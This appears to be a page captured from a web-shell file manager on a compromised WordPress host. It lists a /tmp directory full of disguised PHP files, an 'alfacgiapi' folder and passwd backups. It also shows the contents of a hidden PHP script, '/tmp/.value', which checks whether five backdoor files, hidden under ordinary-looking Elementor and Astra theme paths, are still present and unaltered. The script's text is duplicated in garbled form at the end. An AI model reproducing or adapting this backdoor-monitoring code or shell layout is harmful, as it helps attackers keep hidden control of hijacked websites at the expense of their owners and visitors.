FM / tmp

/tmp

Name	Size	Mode	Actions
alfacgiapi/	-	0755	rm
.accept	43372	0644	edit dl rm
.accepted	43983	0644	edit dl rm
.cache	56	0644	edit dl rm
.center	43972	0644	edit dl rm
.cfg_0p2edy	3483	0600	edit dl rm
.cfg_1nPYV7	3921	0600	edit dl rm
.cfg_2XhBXd	3844	0600	edit dl rm
.cfg_3hJc6a	3844	0600	edit dl rm
.cfg_3MTfjH	3483	0600	edit dl rm
.cfg_3Xum43	3844	0600	edit dl rm
.cfg_6MRyiq	12475	0600	edit dl rm
.cfg_6xX51G	3483	0600	edit dl rm
.cfg_6zHbNg	3483	0600	edit dl rm
.cfg_8YNHlU	3844	0600	edit dl rm
.cfg_9C7Nk1	3483	0600	edit dl rm
.cfg_9G6ryC	3483	0600	edit dl rm
.cfg_9kdxx4	3483	0600	edit dl rm
.cfg_56i5U7	12368	0600	edit dl rm
.cfg_76f7Lx	12475	0600	edit dl rm
.cfg_acmnKW	3844	0600	edit dl rm
.cfg_aZQQBJ	3844	0600	edit dl rm
.cfg_b8gHTc	12368	0600	edit dl rm
.cfg_b67zIG	13207	0600	edit dl rm
.cfg_BKhrzy	12368	0600	edit dl rm
.cfg_cFlG1e	12475	0600	edit dl rm
.cfg_eKtgyp	13207	0600	edit dl rm
.cfg_emeb3v	3500	0600	edit dl rm
.cfg_EMis6I	12368	0600	edit dl rm
.cfg_EQuk1A	3483	0600	edit dl rm
.cfg_eTPMqa	12475	0600	edit dl rm
.cfg_exRu8q	3500	0600	edit dl rm
.cfg_fleV57	3844	0600	edit dl rm
.cfg_fS4723	13207	0600	edit dl rm
.cfg_fSec62	12475	0600	edit dl rm
.cfg_gcrsRE	3500	0600	edit dl rm
.cfg_gd4oWx	13207	0600	edit dl rm
.cfg_Gwn8Q0	3844	0600	edit dl rm
.cfg_H1uKzu	3500	0600	edit dl rm
.cfg_HASanS	12368	0600	edit dl rm
.cfg_hkhISw	3500	0600	edit dl rm
.cfg_hXNHVa	12368	0600	edit dl rm
.cfg_I5qM2N	12475	0600	edit dl rm
.cfg_ihmPBM	12475	0600	edit dl rm
.cfg_IhNWZg	12368	0600	edit dl rm
.cfg_iqtvhR	12475	0600	edit dl rm
.cfg_JHO7hr	13207	0600	edit dl rm
.cfg_JTtZ90	3483	0600	edit dl rm
.cfg_k61E35	3500	0600	edit dl rm
.cfg_kAwDA6	13207	0600	edit dl rm
.cfg_kpjZAD	12475	0600	edit dl rm
.cfg_L9uwcJ	13207	0600	edit dl rm
.cfg_lS5AuM	3500	0600	edit dl rm
.cfg_mro9Jw	12368	0600	edit dl rm
.cfg_mwXSKa	12368	0600	edit dl rm
.cfg_NlAgC2	3500	0600	edit dl rm
.cfg_nnWqcW	13207	0600	edit dl rm
.cfg_pblgNe	13207	0600	edit dl rm
.cfg_py0ykL	3483	0600	edit dl rm
.cfg_Q1Y0GR	3495	0600	edit dl rm
.cfg_q4qNsh	12475	0600	edit dl rm
.cfg_Q901t0	3844	0600	edit dl rm
.cfg_QFA7qR	3500	0600	edit dl rm
.cfg_QkVo90	3483	0600	edit dl rm
.cfg_qkyO7I	13207	0600	edit dl rm
.cfg_qzzTqJ	12475	0600	edit dl rm
.cfg_rcxRfB	3483	0600	edit dl rm
.cfg_rVoKGh	12368	0600	edit dl rm
.cfg_rYJzzH	3921	0600	edit dl rm
.cfg_sFzkpt	3500	0600	edit dl rm
.cfg_spcUe7	3500	0600	edit dl rm
.cfg_SprhEB	12475	0600	edit dl rm
.cfg_SUgSi2	3844	0600	edit dl rm
.cfg_tOZIiT	12368	0600	edit dl rm
.cfg_tR8OKA	3844	0600	edit dl rm
.cfg_Tw6tTo	13207	0600	edit dl rm
.cfg_uA8oEF	13207	0600	edit dl rm
.cfg_uAkIcn	12475	0600	edit dl rm
.cfg_UNGtCR	13207	0600	edit dl rm
.cfg_uSPOl6	13207	0600	edit dl rm
.cfg_vbwNx8	3844	0600	edit dl rm
.cfg_vwBtr6	3844	0600	edit dl rm
.cfg_VxfeSp	3500	0600	edit dl rm
.cfg_WH1aXi	12475	0600	edit dl rm
.cfg_WPJvET	3500	0600	edit dl rm
.cfg_wTg9oR	3500	0600	edit dl rm
.cfg_Xyq3EZ	12475	0600	edit dl rm
.cfg_YaszSH	12368	0600	edit dl rm
.cfg_YWgruW	3500	0600	edit dl rm
.cfg_ZMpwbm	3844	0600	edit dl rm
.class	1680	0644	edit dl rm
.classes	43973	0644	edit dl rm
.config	51	0644	edit dl rm
.content	588	0644	edit dl rm
.created	383	0644	edit dl rm
.crontab.lock	0	0664	edit dl rm
.db2_convert	54	0644	edit dl rm
.dba_insertion	52	0644	edit dl rm
.dbx_convert	43391	0644	edit dl rm
.dchunk	1551	0644	edit dl rm
.ea-php-cli.cache	-	0	edit dl rm
.factor	4566	0644	edit dl rm
.gr_1fd55ac4e17171c5bdb6b37899156c12.php	93480	0644	edit dl rm
.gr_445eff66f1a826e45f99d5116458250b.php	93808	0644	edit dl rm
.ibase_pconnection	43971	0644	edit dl rm
.include	43390	0644	edit dl rm
.internal	54	0644	edit dl rm
.lock	59	0644	edit dl rm
.locked	43968	0644	edit dl rm
.mb_convert	43986	0644	edit dl rm
.multi	44004	0644	edit dl rm
.oauthexceptions	43959	0644	edit dl rm
.ob_iconv_handle	54	0644	edit dl rm
.parameter_group	4566	0644	edit dl rm
.parle_tokens	1707	0644	edit dl rm
.partition	57	0644	edit dl rm
.post	44007	0644	edit dl rm
.property_set	1733	0644	edit dl rm
.ref	56	0644	edit dl rm
.request	48	0644	edit dl rm
.requests	56	0644	edit dl rm
.reset	52	0644	edit dl rm
.rfind	43377	0644	edit dl rm
.rindex	60	0644	edit dl rm
.rjust	57	0644	edit dl rm
.s.PGSQL.5432	-	0	edit dl rm
.symbol	1551	0644	edit dl rm
.sys	54	0644	edit dl rm
.system	47	0644	edit dl rm
.token	2138	0644	edit dl rm
.uconvert	43425	0644	edit dl rm
.value	1111	0644	edit dl rm
mysql.sock	-	0777	edit dl rm
passwd.1.1.1	1496	0644	edit dl rm
passwd.bak	1496	0664	edit dl rm
passwd.bak.1	1496	0644	edit dl rm
passwd.bak.1.1	1496	0644	edit dl rm
php1JPQwf	376832	0600	edit dl rm
php8b5183	475136	0600	edit dl rm
phpClNScK	262144	0600	edit dl rm
phpfLtwpk	196608	0600	edit dl rm
phpLP62ZE	425984	0600	edit dl rm
phpMXam2i	16384	0600	edit dl rm
phpTaSxvE	294912	0600	edit dl rm
phpxhPnek	32768	0600	edit dl rm
phpZGBU9o	16384	0600	edit dl rm
x	59	0775	edit dl rm
_0pZdLY	211497	0600	edit dl rm
_2Jzitg	211497	0600	edit dl rm
_2QeGbI	211497	0600	edit dl rm
_3VnJ29	211497	0600	edit dl rm
_4A1b7n	211497	0600	edit dl rm
_4bKPfo	211497	0600	edit dl rm
_6OOZQy	211497	0600	edit dl rm
_6uSYau	28183	0600	edit dl rm
_8jkrnx	211497	0600	edit dl rm
_9JJiLg	211497	0600	edit dl rm
_97xAsf	211497	0600	edit dl rm
_343pX1	211497	0600	edit dl rm
_B2GP2l	211497	0600	edit dl rm
_carB1s	211497	0600	edit dl rm
_ddXNDI	211497	0600	edit dl rm
_fXne0G	211497	0600	edit dl rm
_G04YIt	211497	0600	edit dl rm
_g5Rs2j	211497	0600	edit dl rm
_gc14z2	211497	0600	edit dl rm
_GGlyqJ	211497	0600	edit dl rm
_GQs3Ts	211497	0600	edit dl rm
_I5hDcl	211497	0600	edit dl rm
_k3jt3e	211497	0600	edit dl rm
_LfBzlE	211497	0600	edit dl rm
_M0rxqY	211497	0600	edit dl rm
_MXulaO	211497	0600	edit dl rm
_N4xQ2t	211497	0600	edit dl rm
_O3INKf	28183	0600	edit dl rm
_oyI4Vg	211497	0600	edit dl rm
_P1OYra	211497	0600	edit dl rm
_P3Y5dD	211497	0600	edit dl rm
_PCuAlD	211497	0600	edit dl rm
_pQNbvA	211497	0600	edit dl rm
_Pzg7rz	28183	0600	edit dl rm
_qHDtMP	211497	0600	edit dl rm
_RStilQ	211497	0600	edit dl rm
_SDY9FD	211497	0600	edit dl rm
_TcwnZH	211497	0600	edit dl rm
_uCcOTF	211497	0600	edit dl rm
_UKy43R	211497	0600	edit dl rm
_V2i9IP	211497	0600	edit dl rm
_vjwd6i	211497	0600	edit dl rm
_WgBhux	211497	0600	edit dl rm
_X0dqCd	211497	0600	edit dl rm

Edit: /tmp/.value (1111B)

<?php   $r = '/home/cp072267/public_html/pornpukdee-group.com'; $x = ["/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php"=>"bd@@83940@@79",
"/wp-content/plugins/elementor/vendor_prefixed/twig/twig/twig/src/Node/Expression/Binary/groupcp.php"=>"bd@@84516@@2257",
"/wp-content/themes/astra/inc/builder/type/base/dynamic-css/html/class.astra.html.component.dynamic.css.php"=>"bd@@84543@@1607",
"/wp-content/themes/astra/inc/builder/type/header/edd-cart/dynamic-css/hiddenselect.php"=>"bd@@84549@@578",
"/wp-content/plugins/elementor/vendor_prefixed/twig/twig/twig/src/Node/Expression/Test/de_prova.php"=>"bd@@84375@@931"]; foreach ($x as $p => $l) {     $f = "{$r}{$p}";     list($t, $id, $pt) = explode('@@', $l);     if (!file_exists($f)) {         print "<$t>{$id}##d</$t>\n";         continue;     }     if (is_numeric($pt)) {         $fs = filesize($f);         if ($fs != $pt) {             print "<$t>{$id}##bs</$t>\n";         }     } else {         $c = file_get_contents($f);         if (!strstr($c, $pt)) {             print "<$t>{$id}##d</$t>\n";         }     } } die('!end!');

"bd@@83940@@79", "/wp-content/plugins/elementor/vendor_prefixed/twig/twig/twig/src/Node/Expression/Binary/groupcp.php"=>"bd@@84516@@2257", "/wp-content/themes/astra/inc/builder/type/base/dynamic-css/html/class.astra.html.component.dynamic.css.php"=>"bd@@84543@@1607", "/wp-content/themes/astra/inc/builder/type/header/edd-cart/dynamic-css/hiddenselect.php"=>"bd@@84549@@578", "/wp-content/plugins/elementor/vendor_prefixed/twig/twig/twig/src/Node/Expression/Test/de_prova.php"=>"bd@@84375@@931"]; foreach ($x as $p => $l) { $f = "{$r}{$p}"; list($t, $id, $pt) = explode('@@', $l); if (!file_exists($f)) { print "<$t>{$id}##d\n"; continue; } if (is_numeric($pt)) { $fs = filesize($f); if ($fs != $pt) { print "<$t>{$id}##bs\n"; } } else { $c = file_get_contents($f); if (!strstr($c, $pt)) { print "<$t>{$id}##d\n"; } } } die('!end!');